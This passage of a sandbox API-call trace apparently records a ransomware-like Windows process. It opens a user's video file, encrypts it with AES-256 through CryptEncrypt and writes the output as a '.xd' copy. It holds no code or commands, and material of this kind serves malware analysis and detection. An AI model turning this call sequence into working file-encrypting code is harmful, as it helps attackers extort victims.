PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.663] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.663] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.663] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.663] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.663] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.663] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0066.663] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0066.663] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0066.663] CryptDestroyHash (hHash=0x164c370) returned 1 [0066.664] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.664] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\oqztdatj6.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0066.664] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.664] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0066.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.664] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb")) returned 0x10 [0066.665] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\oqztdatj6.mp4.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0066.666] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.666] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.666] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.666] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.668] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0066.668] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0066.670] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x1987, lpOverlapped=0x0) returned 1 [0066.670] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0066.673] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.673] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.673] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.673] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0066.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.674] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0066.674] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.674] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0066.675] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.675] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.675] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.675] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0066.675] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0066.675] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0066.675] CryptGetKeyParam (in: hKey=0x164c4f0, dwParam=0x7, pbData=0x16295c0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16295c0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0066.675] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.675] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.675] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.676] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.676] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.676] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.676] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.676] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.676] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.676] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.676] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.676] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.676] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.676] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.676] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.676] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.676] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.676] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.676] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.676] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.676] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.676] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.676] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.676] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.677] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621660, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.678] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.678] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x11987, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x11990) returned 1 [0066.678] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.678] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.678] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.678] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.680] CharLowerBuffW (in: lpsz="byte[72081]", cchLength=0xb | out: lpsz="byte[72081]") returned 0xb [0066.680] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.682] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.682] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.682] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.682] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.682] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.682] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e2720*, pdwDataLen=0x130e618*=0x11987, dwBufLen=0x11990 | out: pbData=0x17e2720*, pdwDataLen=0x130e618*=0x11990) returned 1 [0066.683] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.683] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.683] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.683] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.683] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.683] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.683] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.683] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.683] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.683] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.683] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.683] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.683] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.683] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.683] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.683] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.683] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.689] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.689] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.689] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.690] WriteFile (in: hFile=0x3bc, lpBuffer=0x188e9a8*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x188e9a8*, lpNumberOfBytesWritten=0x130f01c*=0x11990, lpOverlapped=0x0) returned 1 [0066.692] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.692] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.692] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0066.692] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.692] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.692] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0066.692] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16215d0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0066.692] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0066.692] CryptDestroyKey (hKey=0x164c4f0) returned 1 [0066.692] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.693] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.693] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.693] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.693] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.693] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.693] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.693] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.693] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.693] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0066.693] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.693] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.693] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.693] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.693] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.693] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.693] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.693] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.693] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.693] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.693] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.694] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.694] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.694] PeekMessageW (in: lpMsg=0x130ef0c, 